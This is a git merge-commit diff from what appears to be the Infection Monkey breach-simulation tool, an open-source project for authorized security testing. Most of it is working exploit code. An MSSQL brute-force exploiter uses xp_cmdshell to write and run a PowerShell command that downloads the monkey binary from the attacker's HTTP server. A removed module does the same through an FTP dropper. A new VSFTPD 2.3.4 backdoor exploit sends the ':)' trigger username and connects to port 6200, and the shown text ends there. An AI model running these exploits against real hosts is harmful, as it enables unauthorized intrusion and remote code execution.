Merge branch 'attack_configuration' into attack_report

# Conflicts:
#	monkey/monkey_island/cc/app.py
#	monkey/monkey_island/cc/ui/package-lock.json
#	monkey/monkey_island/cc/ui/package.json
#	monkey/monkey_island/cc/ui/src/styles/App.css
This commit is contained in:
VakarisZ 2019-05-28 14:35:09 +03:00
commit 54904415bd
64 changed files with 5193 additions and 5136 deletions

3
.gitignore vendored
View File

@ -82,4 +82,5 @@ MonkeyZoo/*
!MonkeyZoo/config.tf !MonkeyZoo/config.tf
!MonkeyZoo/MonkeyZooDocs.pdf !MonkeyZoo/MonkeyZooDocs.pdf
# vim swap files
*.swp

View File

@ -81,33 +81,15 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
# Allow them to be executed # Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME" chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
# Get machine type/kernel version # Get machine type/kernel version
kernel=`uname -m` kernel=`uname -m`
linux_dist=`lsb_release -a 2> /dev/null` linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script # If a user haven't installed mongo manually check if we can install it with our script
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \ log_message "Installing MongoDB"
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then ${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
echo "Script does not support your operating system for mongodb installation.
Reference monkey island readme and install it manually"
exit 1
fi
# Download mongo
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
log_message "Downloading mongodb"
if [[ ${linux_dist} == *"Debian"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
fi
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
else
log_message "Mongo db already installed"
fi
log_message "Installing openssl" log_message "Installing openssl"
sudo apt-get install openssl sudo apt-get install openssl

View File

@ -719,19 +719,18 @@ fullTest.conf is a good config to start, because it covers all machines.
</tr> </tr>
<tr class="even"> <tr class="even">
<td>Servers config:</td> <td>Servers config:</td>
<td><p>xp_cmdshell feature enabled in MSSQL server</p> <td><p>xp_cmdshell feature enabled in MSSQL server</p></td>
<p>Servers creds (sa): admin, }8Ys#"</p></td>
</tr> </tr>
<tr class="odd"> <tr class="odd">
<td>SQL server auth. creds:</td>
<td><p>m0nk3y : Xk8VDTsC</p></td>
</tr>
<tr class="even">
<td>Notes:</td> <td>Notes:</td>
<td><p>Enabled SQL server browser service</p> <td><p>Enabled SQL server browser service</p>
<p><a href="https://docs.microsoft.com/en-us/sql/relational-databases/lesson-2-connecting-from-another-computer?view=sql-server-2017">Enabled remote connections</a></p> <p><a href="https://docs.microsoft.com/en-us/sql/relational-databases/lesson-2-connecting-from-another-computer?view=sql-server-2017">Enabled remote connections</a></p>
<p><a href="https://support.plesk.com/hc/en-us/articles/213397429-How-to-change-a-password-for-the-sa-user-in-MS-SQL-">Changed default password</a></p></td> <p><a href="https://support.plesk.com/hc/en-us/articles/213397429-How-to-change-a-password-for-the-sa-user-in-MS-SQL-">Changed default password</a></p></td>
</tr> </tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody> </tbody>
</table> </table>

View File

@ -1,22 +1,48 @@
import json
import re import re
import urllib2 import urllib2
import logging
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
ACCOUNT_ID_KEY = "accountId"
logger = logging.getLogger(__name__)
class AwsInstance(object): class AwsInstance(object):
"""
Class which gives useful information about the current instance you're on.
"""
def __init__(self): def __init__(self):
self.instance_id = None
self.region = None
self.account_id = None
try: try:
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() self.instance_id = urllib2.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
self.region = self._parse_region( self.region = self._parse_region(
urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except urllib2.URLError: except urllib2.URLError as e:
self.instance_id = None logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
self.region = None
try:
self.account_id = self._extract_account_id(
urllib2.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
except urllib2.URLError as e:
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
@staticmethod @staticmethod
def _parse_region(region_url_response): def _parse_region(region_url_response):
# For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html # For a list of regions, see:
# https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
# This regex will find any AWS region format string in the response. # This regex will find any AWS region format string in the response.
re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])' re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
@ -33,3 +59,21 @@ class AwsInstance(object):
def is_aws_instance(self): def is_aws_instance(self):
return self.instance_id is not None return self.instance_id is not None
@staticmethod
def _extract_account_id(instance_identity_document_response):
"""
Extracts the account id from the dynamic/instance-identity/document metadata path.
Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more solutions,
in case Amazon break this mechanism.
:param instance_identity_document_response: json returned via the web page ../dynamic/instance-identity/document
:return: The account id
"""
return json.loads(instance_identity_document_response)[ACCOUNT_ID_KEY]
def get_account_id(self):
"""
:return: the AWS account ID which "owns" this instance.
See https://docs.aws.amazon.com/general/latest/gr/acct-identifiers.html
"""
return self.account_id

View File

@ -1,23 +1,44 @@
import logging
import boto3 import boto3
import botocore
from botocore.exceptions import ClientError from botocore.exceptions import ClientError
__author__ = 'itay.mizeretz' from common.cloud.aws_instance import AwsInstance
__author__ = ['itay.mizeretz', 'shay.nehmad']
INSTANCE_INFORMATION_LIST_KEY = 'InstanceInformationList'
INSTANCE_ID_KEY = 'InstanceId'
COMPUTER_NAME_KEY = 'ComputerName'
PLATFORM_TYPE_KEY = 'PlatformType'
IP_ADDRESS_KEY = 'IPAddress'
logger = logging.getLogger(__name__)
def filter_instance_data_from_aws_response(response):
return [{
'instance_id': x[INSTANCE_ID_KEY],
'name': x[COMPUTER_NAME_KEY],
'os': x[PLATFORM_TYPE_KEY].lower(),
'ip_address': x[IP_ADDRESS_KEY]
} for x in response[INSTANCE_INFORMATION_LIST_KEY]]
class AwsService(object): class AwsService(object):
""" """
Supplies various AWS services A wrapper class around the boto3 client and session modules, which supplies various AWS services.
This class will assume:
1. That it's running on an EC2 instance
2. That the instance is associated with the correct IAM role. See
https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
""" """
access_key_id = None
secret_access_key = None
region = None region = None
@staticmethod
def set_auth_params(access_key_id, secret_access_key):
AwsService.access_key_id = access_key_id
AwsService.secret_access_key = secret_access_key
@staticmethod @staticmethod
def set_region(region): def set_region(region):
AwsService.region = region AwsService.region = region
@ -26,15 +47,11 @@ class AwsService(object):
def get_client(client_type, region=None): def get_client(client_type, region=None):
return boto3.client( return boto3.client(
client_type, client_type,
aws_access_key_id=AwsService.access_key_id,
aws_secret_access_key=AwsService.secret_access_key,
region_name=region if region is not None else AwsService.region) region_name=region if region is not None else AwsService.region)
@staticmethod @staticmethod
def get_session(): def get_session():
return boto3.session.Session( return boto3.session.Session()
aws_access_key_id=AwsService.access_key_id,
aws_secret_access_key=AwsService.secret_access_key)
@staticmethod @staticmethod
def get_regions(): def get_regions():
@ -50,14 +67,22 @@ class AwsService(object):
@staticmethod @staticmethod
def get_instances(): def get_instances():
return \ """
[ Get the information for all instances with the relevant roles.
{
'instance_id': x['InstanceId'],
'name': x['ComputerName'],
'os': x['PlatformType'].lower(),
'ip_address': x['IPAddress']
}
for x in AwsService.get_client('ssm').describe_instance_information()['InstanceInformationList']
]
This function will assume that it's running on an EC2 instance with the correct IAM role.
See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
:raises: botocore.exceptions.ClientError if can't describe local instance information.
:return: All visible instances from this instance
"""
current_instance = AwsInstance()
local_ssm_client = boto3.client("ssm", current_instance.get_region())
try:
response = local_ssm_client.describe_instance_information()
filtered_instances_data = filter_instance_data_from_aws_response(response)
return filtered_instances_data
except botocore.exceptions.ClientError as e:
logger.warning("AWS client error while trying to get instances: " + e.message)
raise e

View File

@ -0,0 +1,59 @@
from unittest import TestCase
from aws_service import filter_instance_data_from_aws_response
import json
__author__ = 'shay.nehmad'
class TestFilter_instance_data_from_aws_response(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{
"InstanceInformationList": [
{
"ActivationId": "string",
"AgentVersion": "string",
"AssociationOverview": {
"DetailedStatus": "string",
"InstanceAssociationStatusAggregatedCount": {
"string" : 6
}
},
"AssociationStatus": "string",
"ComputerName": "string",
"IamRole": "string",
"InstanceId": "string",
"IPAddress": "string",
"IsLatestVersion": "True",
"LastAssociationExecutionDate": 6,
"LastPingDateTime": 6,
"LastSuccessfulAssociationExecutionDate": 6,
"Name": "string",
"PingStatus": "string",
"PlatformName": "string",
"PlatformType": "string",
"PlatformVersion": "string",
"RegistrationDate": 6,
"ResourceType": "string"
}
],
"NextToken": "string"
}
"""
json_response_empty = """
{
"InstanceInformationList": [],
"NextToken": "string"
}
"""
self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), [])
self.assertEqual(
filter_instance_data_from_aws_response(json.loads(json_response_full)),
[{'instance_id': u'string',
'ip_address': u'string',
'name': u'string',
'os': u'string'}])

View File

@ -104,8 +104,8 @@ class Configuration(object):
dropper_set_date = True dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh' dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey' dropper_target_path_linux = '/tmp/monkey'
########################### ###########################
@ -157,7 +157,7 @@ class Configuration(object):
retry_failed_explotation = True retry_failed_explotation = True
# addresses of internet servers to ping and check if the monkey has internet acccess. # addresses of internet servers to ping and check if the monkey has internet acccess.
internet_services = ["monkey.guardicore.com", "www.google.com"] internet_services = ["updates.infectionmonkey.com", "www.google.com"]
keep_tunnel_open_time = 60 keep_tunnel_open_time = 60

View File

@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel import infection_monkey.tunnel as tunnel
from infection_monkey.config import WormConfiguration, GUID from infection_monkey.config import WormConfiguration, GUID
from infection_monkey.network.info import local_ips, check_internet_access from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT
from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy from infection_monkey.transport.tcp import TcpProxy
@ -19,9 +19,6 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024 DOWNLOAD_CHUNK = 1024
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT = 15
class ControlClient(object): class ControlClient(object):

View File

@ -25,8 +25,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir', monkey_dir_linux = '/tmp/monkey_dir',
@ -45,7 +45,8 @@
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter" "HadoopExploiter",
"VSFTPDExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",

View File

@ -62,3 +62,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter
from infection_monkey.exploit.vsftpd import VSFTPDExploiter

View File

@ -1,12 +1,15 @@
import os import os
import logging import logging
from time import sleep
import pymssql import pymssql
import textwrap
from infection_monkey.exploit import HostExploiter, mssqlexec_utils from infection_monkey.exploit import HostExploiter, tools
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.tools import HTTPTools
__author__ = 'Maor Rayzin' from infection_monkey.config import WormConfiguration
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.tools import get_monkey_dest_path
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -17,78 +20,89 @@ class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15 LOGIN_TIMEOUT = 15
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433' SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') # Temporary file that saves commands for monkey's download and execution.
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' TMP_FILE_NAME = 'tmp_monkey.bat'
def __init__(self, host): def __init__(self, host):
super(MSSQLExploiter, self).__init__(host) super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self): def exploit_host(self):
""" # Brute force to get connection
Main function of the mssql brute force
Return:
True or False depends on process success
"""
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \ if not cursor:
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
if not self.create_payload_file(payload_path):
return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
payload_path):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False return False
def handle_payload(self, cursor, payload): # Get monkey exe for host and it's path
src_path = tools.get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
dst_path = get_monkey_dest_path(http_path)
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
# Create monkey dir.
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file
commands = [
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
for part in textwrap.wrap(monkey_args, 40)]
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
return True
@staticmethod
def run_file(cursor, file_path):
command = ["exec xp_cmdshell \"%s\"" % file_path]
return MSSQLExploiter.execute_command(cursor, command)
@staticmethod
def execute_command(cursor, cmds):
""" """
Handles the process of payload sending and execution, prepares the attack and details. Executes commands on MSSQL server
:param cursor: MSSQL connection
Args: :param cmds: list of commands in MSSQL syntax.
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. :return: True if successfully executed, false otherwise.
payload (string): Payload path
Return:
True or False depends on process success
""" """
try:
# Running the cmd on remote host
for cmd in cmds:
cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
return False
return True
chosen_attack = self.attacks_list[0](payload, cursor, self.host) def brute_force(self, host, port, users_passwords_pairs_list):
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here. Main loop starts here.
@ -96,7 +110,6 @@ class MSSQLExploiter(HostExploiter):
Args: Args:
host (str): Host ip address host (str): Host ip address
port (str): Tcp port that the host listens to port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return: Return:
@ -113,19 +126,11 @@ class MSSQLExploiter(HostExploiter):
'using user: {1}, password: {2}'.format(host, user, password)) 'using user: {1}, password: {2}'.format(host, user, password))
self.report_login_attempt(True, user, password) self.report_login_attempt(True, user, password)
cursor = conn.cursor() cursor = conn.cursor()
return cursor
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
except pymssql.OperationalError: except pymssql.OperationalError:
# Combo didn't work, hopping to the next one # Combo didn't work, hopping to the next one
pass pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port)) 'aborting brute force'.format(host, port))
return False return None

View File

@ -1,208 +0,0 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
"""Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user
self.password = password
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self):
""" Configures and runs the ftp server to listen forever until stopped.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
"""
def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor
self.attacker_ip = get_interface_to_target(host.ip_addr)
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
sleep(0.5)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self, host):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -7,6 +7,7 @@ import urllib2
import httplib import httplib
import unicodedata import unicodedata
import re import re
import ssl
import logging import logging
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
@ -48,7 +49,7 @@ class Struts2Exploiter(WebRCE):
headers = {'User-Agent': 'Mozilla/5.0'} headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers) request = urllib2.Request(url, headers=headers)
try: try:
return urllib2.urlopen(request).geturl() return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl()
except urllib2.URLError: except urllib2.URLError:
LOG.error("Can't reach struts2 server") LOG.error("Can't reach struts2 server")
return False return False

View File

@ -0,0 +1,149 @@
"""
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
only vulnerable version is "2.3.4"
"""
import StringIO
import logging
import paramiko
import socket
import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.web_rce import WebRCE
from logging import getLogger
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes
UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux']
def __init__ (self, host):
self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist
def socket_connect(self, s, ip_addr, port):
try:
s.connect((ip_addr, port))
return True
except socket.error as e:
LOG.error('Failed to connect to %s', self.host.ip_addr)
return False
def socket_send_recv(self, s, message):
try:
s.send(message)
return s.recv(RECV_128).decode('utf-8')
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def socket_send(self, s, message):
try:
s.send(message)
return True
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
return False
LOG.info('Attempting to connect to backdoor...')
